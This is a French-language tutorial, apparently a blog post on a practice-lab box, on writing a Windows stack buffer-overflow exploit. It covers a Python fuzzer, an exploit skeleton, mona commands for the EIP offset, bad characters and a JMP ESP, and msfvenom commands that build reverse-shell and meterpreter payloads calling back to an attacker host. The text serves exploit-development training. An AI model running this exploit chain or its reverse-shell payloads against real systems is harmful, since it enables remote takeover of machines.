Écriture de l’exploit d’un bufferflow (immunity debugger et mona)

On va utiliser immunity debugger avec le plugin mona

!mona config -set workingfolder c:\mona\%p

Fuzzer (on essaie de crasher l’application en augmentant gradullement la taille du buffer)

#!/usr/bin/env python3

import socket, time, sys

ip = "10.10.95.149"

port = 1337
timeout = 5
prefix = "OVERFLOW1 "

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)

On peut commencer à écrire l’exploit

import socket

ip = "10.10.95.149"
port = 1337

prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except
  print("Could not connect.")

On génère un buffer de taille de 400 octets de plus que la taille du buffer qui a fait crashé l’application

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2400. On met le buffer dans le payload et on exécute l’exploit. Avec mona, on trouve la taille exacte du buffer qui a fait crashé l’application pour le controle du registre eip

!mona findmsp -distance 2400

On regarde les logs pour trouver ce message : EIP contains normal pattern : … (offset xxxx). On règle la variable offset dans le code de l’exploit. On met CCCC dans la variable retn, payload=”” et on exécute à nouveau l’exploit. L’application va planter et eip aura la valeur 0xCCCC.

Trouver les Bad Characters

Il y a des caractères qui ne pourront apparaître dans le code de notre exploit (comme le null byte et possiblement quelques autres)

!mona bytearray -b "\x00"

Génération d’un tableau initial de caractères valides

for x in range(1, 256):
  print("\\x" + "{:02x}".format(x), end='')
print()

on met ces octets dans la variable exploit et on compare le résultat(sur la pile) après le crash avec le tableau initial

!mona compare -f c:\mona\oscp\bytearray.bin -a bytearray.bin -a esp_address

On va voir dans la fenêtre popup le résultat de la comparaison. Nous voyons le caractère NULL et quelques autres. Certains de ces caractères sont réellement des mauvais caractères , mais pas tous. Nous notons ces caractères (possibly bad chars dans la fenêtre). Nous modifions le contenu de la variable exploit (enlevons un autre possible mauvais caractère), regénérons le tableau bytearray avec mona et réessayons pour voir quels sont les mauvais caractères. ainsi de suite…

Nous trouvons un instruction “jmp esp”

!mona jmp -r esp -cpb "\x00" #entrer les mauvais caractères…

Mettre une adresse trouvée dans la variable retn (ne pas oublier little endian)

Générer le payload

msfvenom -p windows/shell_reverse_tcp LHOST=10.9.0.24 LPORT=4444 EXITFUNC=thread -b "\x00" -f c #ne pas oublier les mauvais caractères
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.9.0.24 LPORT=443 -f c =a x86 --platform windows -b "\x00\x0a" -e x86/shikata_ga_nai #2e possibilité

Truc: on met la sortie dans le placeholder ici

payload= ( <--ici--> ) #cela nous évite la modification du code de msfvenom

Ajouter quelques octets pour le décode du payload

padding = "\x90" * 16

Have fun!

Leave a Reply